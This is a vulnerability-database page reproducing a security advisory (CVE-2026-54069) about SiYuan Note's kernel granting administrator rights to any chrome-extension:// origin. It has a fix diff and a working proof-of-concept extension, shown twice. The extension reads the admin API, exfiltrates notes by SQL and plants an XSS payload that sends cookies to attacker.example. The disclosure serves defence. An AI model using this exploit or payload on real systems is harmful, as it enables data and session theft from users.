GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-HVR9-72V2-FFF3

Vulnerability from github – Published: 2026-07-10 19:26 – Updated: 2026-07-10 19:27
VLAI
Summary
SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist
Details

Summary

SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.

Affected Versions

SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).

Vulnerability Details

Blanket chrome-extension:// Origin Trust (CWE-346)

In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:

if strings.HasPrefix(origin, "chrome-extension://") {
    // skip auth
}

At session.go:284, the request is assigned RoleAdministrator:

c.Set("role", model.RoleAdministrator)

The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.

The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit host_permissions) can access all admin endpoints.

Proof of Concept

Unauthenticated admin API access via browser extension:

A minimal Chrome extension with only default permissions:

{
  "manifest_version": 3,
  "name": "SiYuan PoC",
  "version": "1.0",
  "background": {
    "service_worker": "bg.js"
  }
}
// bg.js -- runs as chrome-extension://<id>
// No special host_permissions needed; localhost is accessible by default

// 1. Verify admin access
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: '{}'
}).then(r => r.json()).then(data => {
  console.log('[PoC] Admin API access confirmed:', data.code === 0);
});

// 2. Exfiltrate workspace data
fetch('http://127.0.0.1:6806/api/query/sql', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })
}).then(r => r.json()).then(data => {
  console.log('[PoC] Exfiltrated blocks:', data.data?.length);
});

// 3. Inject stored XSS payload into a note
fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ notebook: '', path: '/' })
}).then(r => r.json()).then(tree => {
  const firstDoc = tree.data?.files?.[0];
  if (!firstDoc) return;

  fetch('http://127.0.0.1:6806/api/block/insertBlock', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      dataType: 'markdown',
      data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">',
      parentID: firstDoc.id
    })
  });
});

The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.

Impact

  • Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel
  • Data exfiltration of the entire workspace via /api/query/sql, /api/filetree/, /api/export/
  • Stored XSS injection via admin API endpoints (/api/block/insertBlock, /api/attr/setBlockAttrs), persisted in the user's notes
  • Configuration tampering via /api/system/setConf, enabling persistence and further attack surface expansion
  • Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user

Suggested Remediation

Remove blanket chrome-extension:// allowlist:

--- a/kernel/model/session.go
+++ b/kernel/model/session.go
@@ -274,9 +274,6 @@
 func CheckAuth(c *gin.Context) {
     origin := c.GetHeader("Origin")
-    if strings.HasPrefix(origin, "chrome-extension://") {
-        // Allow chrome extension requests
-    } else
     if !isValidOrigin(origin) {
         c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"})
         return

If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260628153353-2d5d72223df4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54069"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:26:06Z",
    "nvd_published_at": "2026-06-24T22:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nSiYuan Note\u0027s kernel HTTP server unconditionally trusts all `chrome-extension://` origins, granting `RoleAdministrator` access to every installed browser extension without any authentication. Combined with the default empty `AccessAuthCode` on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at `127.0.0.1:6806`, enabling data exfiltration, stored XSS injection, and configuration tampering.\n\n## Affected Versions\n\nSiYuan \u003c= v3.6.5 (commit `96dfe0bea474`). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (`d7b77d945e0d`).\n\n## Vulnerability Details\n\n### Blanket chrome-extension:// Origin Trust (CWE-346)\n\nIn `kernel/model/session.go:277`, the `CheckAuth` middleware exempts all `chrome-extension://` origins from authentication:\n\n```go\nif strings.HasPrefix(origin, \"chrome-extension://\") {\n    // skip auth\n}\n```\n\nAt `session.go:284`, the request is assigned `RoleAdministrator`:\n\n```go\nc.Set(\"role\", model.RoleAdministrator)\n```\n\nThe `AccessAuthCode` field defaults to an empty string for desktop installs (`ContainerStd`). When empty, no token validation occurs. This means **any** Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.\n\nThe origin check trusts the entire `chrome-extension://` scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit `host_permissions`) can access all admin endpoints.\n\n## Proof of Concept\n\n**Unauthenticated admin API access via browser extension:**\n\nA minimal Chrome extension with only default permissions:\n\n```json\n{\n  \"manifest_version\": 3,\n  \"name\": \"SiYuan PoC\",\n  \"version\": \"1.0\",\n  \"background\": {\n    \"service_worker\": \"bg.js\"\n  }\n}\n```\n\n```javascript\n// bg.js -- runs as chrome-extension://\u003cid\u003e\n// No special host_permissions needed; localhost is accessible by default\n\n// 1. Verify admin access\nfetch(\u0027http://127.0.0.1:6806/api/system/getConf\u0027, {\n  method: \u0027POST\u0027,\n  headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n  body: \u0027{}\u0027\n}).then(r =\u003e r.json()).then(data =\u003e {\n  console.log(\u0027[PoC] Admin API access confirmed:\u0027, data.code === 0);\n});\n\n// 2. Exfiltrate workspace data\nfetch(\u0027http://127.0.0.1:6806/api/query/sql\u0027, {\n  method: \u0027POST\u0027,\n  headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n  body: JSON.stringify({ stmt: \u0027SELECT * FROM blocks LIMIT 100\u0027 })\n}).then(r =\u003e r.json()).then(data =\u003e {\n  console.log(\u0027[PoC] Exfiltrated blocks:\u0027, data.data?.length);\n});\n\n// 3. Inject stored XSS payload into a note\nfetch(\u0027http://127.0.0.1:6806/api/filetree/listDocsByPath\u0027, {\n  method: \u0027POST\u0027,\n  headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n  body: JSON.stringify({ notebook: \u0027\u0027, path: \u0027/\u0027 })\n}).then(r =\u003e r.json()).then(tree =\u003e {\n  const firstDoc = tree.data?.files?.[0];\n  if (!firstDoc) return;\n\n  fetch(\u0027http://127.0.0.1:6806/api/block/insertBlock\u0027, {\n    method: \u0027POST\u0027,\n    headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n    body: JSON.stringify({\n      dataType: \u0027markdown\u0027,\n      data: \u0027\u003cimg src=x onerror=\"fetch(\\\u0027https://attacker.example/steal?data=\\\u0027+document.cookie)\"\u003e\u0027,\n      parentID: firstDoc.id\n    })\n  });\n});\n```\n\nThe extension requires zero special permissions. The `chrome-extension://` origin header is automatically sent by the browser, and `session.go:277` grants it `RoleAdministrator` without any token check.\n\n## Impact\n\n- **Unauthenticated admin API access** for any installed browser extension, enabling full control of the SiYuan kernel\n- **Data exfiltration** of the entire workspace via `/api/query/sql`, `/api/filetree/`, `/api/export/`\n- **Stored XSS injection** via admin API endpoints (`/api/block/insertBlock`, `/api/attr/setBlockAttrs`), persisted in the user\u0027s notes\n- **Configuration tampering** via `/api/system/setConf`, enabling persistence and further attack surface expansion\n- **Supply chain amplification**: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user\n\n## Suggested Remediation\n\n**Remove blanket chrome-extension:// allowlist:**\n\n```diff\n--- a/kernel/model/session.go\n+++ b/kernel/model/session.go\n@@ -274,9 +274,6 @@\n func CheckAuth(c *gin.Context) {\n     origin := c.GetHeader(\"Origin\")\n-    if strings.HasPrefix(origin, \"chrome-extension://\") {\n-        // Allow chrome extension requests\n-    } else\n     if !isValidOrigin(origin) {\n         c.AbortWithStatusJSON(401, gin.H{\"code\": -1, \"msg\": \"invalid origin\"})\n         return\n```\n\nIf extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.",
  "id": "GHSA-hvr9-72v2-fff3",
  "modified": "2026-07-10T19:27:58Z",
  "published": "2026-07-10T19:26:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hvr9-72v2-fff3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54069"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…